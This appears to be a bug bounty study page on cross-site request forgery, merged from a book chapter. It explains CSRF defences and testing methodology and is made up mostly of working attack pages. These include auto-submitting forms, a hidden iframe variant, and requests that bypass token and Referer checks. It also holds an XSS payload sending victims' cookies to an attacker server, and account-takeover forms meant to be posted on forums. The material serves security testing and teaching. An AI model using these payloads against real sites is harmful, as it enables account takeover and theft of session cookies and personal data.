undefinedapplication/json to text/plain
Blank referer bypass: <meta name=“referrer” content=“no-referrer” />
iframe data URI bypass: <iframe src=“data:text/html;base64,FORM”>
Merged from Bug Bounty Bootcamp Ch 9 by Vickie Li
CSRF forces a victim's browser to execute unwanted state-changing actions on a target site. Because browsers automatically send session cookies with every request to a matching domain, an attacker can craft a malicious page that issues a request to the target site – and the victim's browser will include their session cookie, making the request appear legitimate.
CSRF attacks specifically target state-changing requests (not reads), because the attacker cannot read the server's response from a cross-origin page.
Minimal CSRF attack page:
<html> <form method="POST" action="https://twitter.com/send_a_tweet" id="csrf-form"> <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!"> <input type='submit' value="Submit"> </form> <script>document.getElementById("csrf-form").submit();</script> </html>
The invisible iframe variant (no user click needed):
<html> <iframe style="display:none" name="csrf-frame"> <form method="POST" action="https://twitter.com/send_a_tweet" target="csrf-frame" id="csrf-form"> <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!"> <input type='submit' value="Submit"> </form> </iframe> <script>document.getElementById("csrf-form").submit();</script> </html>
Any victim who visits this page will have the action executed automatically.
The server generates a random unpredictable token and embeds it in every form:
<form method="POST" action="https://twitter.com/send_a_tweet"> <input type="text" name="tweet_content" value="Hello world!"> <input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b"> <input type="submit" value="Submit"> </form>
The server validates the token on every state-changing request. The token must be unique per session (or per form) and have sufficient entropy to prevent guessing. Frameworks often have CSRF token support built in.
Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Lax
SameSite=Strict – cookies never sent on cross-site requestsSameSite=Lax – cookies sent only on top-level navigation GET requests (not on cross-site POST or iframe requests)
Chrome made SameSite=Lax the default in 2020 for cookies that don't specify the attribute. This reduces POST CSRF exposure significantly, but CSRF remains possible when:
SameSite=None on session cookiesTest with Firefox (not Chrome) when testing POST CSRF, since Chrome's Lax default will prevent cookie sending on cross-site POST.
Browse the application and record every endpoint that alters user data. For each, note:
Example inventory for email.example.com:
email.example.com/password_change (POST, param: new_password)email.example.com/send_email (POST, params: draft_id, recipient_id)email.example.com/delete_email (POST, param: email_id)Intercept each state-changing request in Burp. Search the request for the string “csrf” or “state”. CSRF tokens can appear as:
X-CSRF-Token)Even if a token is present, test bypass techniques – many implementations are flawed.
Craft a malicious HTML page and open it in a browser signed into the target site. Check whether the action was executed:
<html> <form method="POST" action="https://email.example.com/password_change" id="csrf-form"> <input type="text" name="new_password" value="abc123"> <input type="submit" value="Submit"> </form> <script>document.getElementById("csrf-form").submit();</script> </html>
For GET-based state-changing actions, an img tag is enough:
<img src="https://email.example.com/password_change?new_password=abc123"/>
If the endpoint has a CSRF token but the page is frameable (see Ch8), use clickjacking to trick the user into clicking the submit button on the framed page. The browser sends the legitimate CSRF token because it originates from the real page.
Try switching POST to GET. Some endpoints accept both but only validate CSRF tokens on POST:
GET /password_change?new_password=abc123 Host: email.example.com Cookie: session_cookie=YOUR_SESSION_COOKIE
Trigger with an img tag – the browser sends a GET request when loading the image source.
Some applications only validate the token if the parameter is present and non-empty. If the token is missing or blank, they skip validation:
Delete the parameter entirely:
POST /password_change (POST body) new_password=abc123
Send a blank token:
POST /password_change (POST body) new_password=abc123&csrf_token=
Some apps verify only that the token is a valid token, not that it belongs to the current session. Obtain a valid token from your own session and substitute it in the forged request targeting another user:
POST /password_change (POST body) new_password=abc123&csrf_token=YOUR_OWN_TOKEN
Some sites use a double-submit cookie: the csrf_token cookie value must match the csrf_token POST parameter. The server doesn't store the valid token – it just checks that both values match.
If you can plant a cookie in the victim's browser (via session fixation or a subdomain XSS), set the csrf_token cookie to any value you control and use the same value in the POST parameter:
POST /password_change Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token (POST body) new_password=abc123&csrf_token=not_a_real_token
If the site validates the Referer header instead of CSRF tokens, add a meta tag to your attack page to suppress the Referer:
<html> <meta name="referrer" content="no-referrer"> <form method="POST" action="https://email.example.com/password_change" id="csrf-form"> <input type="text" name="new_password" value="abc123"> <input type='submit' value="Submit"> </form> <script>document.getElementById("csrf-form").submit();</script> </html>
If the app only validates the Referer when it is present, a missing Referer bypasses the check entirely.
If the app checks that the Referer contains the victim domain name:
Referer: example.com.attacker.com (subdomain named "example.com") Referer: attacker.com/example.com (path named "example.com")
Any XSS on the target site defeats CSRF protection. XSS can read the CSRF token from the DOM via XMLHttpRequest and embed it in a forged request – no token bypass needed.
CSRF on a billing email change endpoint lets the attacker redirect account summaries (containing address, phone number, credit card info) to their own inbox:
POST /change_billing_email (POST body) email=ATTACKER_EMAIL&csrf_token=
Once the billing email is changed, trigger “send account summary” to receive the victim's PII.
Self-XSS (only the user themselves can trigger it) becomes exploitable when combined with CSRF. If an account nickname field is vulnerable to self-XSS but the nickname endpoint lacks CSRF protection, an attacker can use CSRF to store an XSS payload in the victim's nickname. The next time the victim views their own dashboard, the XSS fires.
POST /change_account_nickname (POST body) account=0 &nickname=<script>document.location='http://attacker_server_ip/cookie_stealer.php?c='+document.cookie;</script>
(No csrf_token parameter – token validation skipped when parameter is absent.)
CSRF on a set-password endpoint for accounts created via social login (no existing password) allows the attacker to assign a password to any such account:
<html> <form method="POST" action="https://email.example.com/set_password" id="csrf-form"> <input type="text" name="new_password" value="this_account_is_now_mine"> <input type="text" name="csrf_token" value=""> <input type='submit' value="Submit"> </form> <script>document.getElementById("csrf-form").submit();</script> </html>
Post the link to this page on a forum frequented by the target site's users. Any social-login account that visits the link gets a new password set.
document.body.innerHTML += ' <form method="POST" action="https://email.example.com/set_password" id="csrf-form"> <input type="text" name="new_password" value="this_account_is_now_mine"> <input type="submit" value="Submit"> </form>'; document.getElementById("csrf-form").submit();
Burp Suite Pro and OWASP ZAP both have automatic CSRF POC generation features.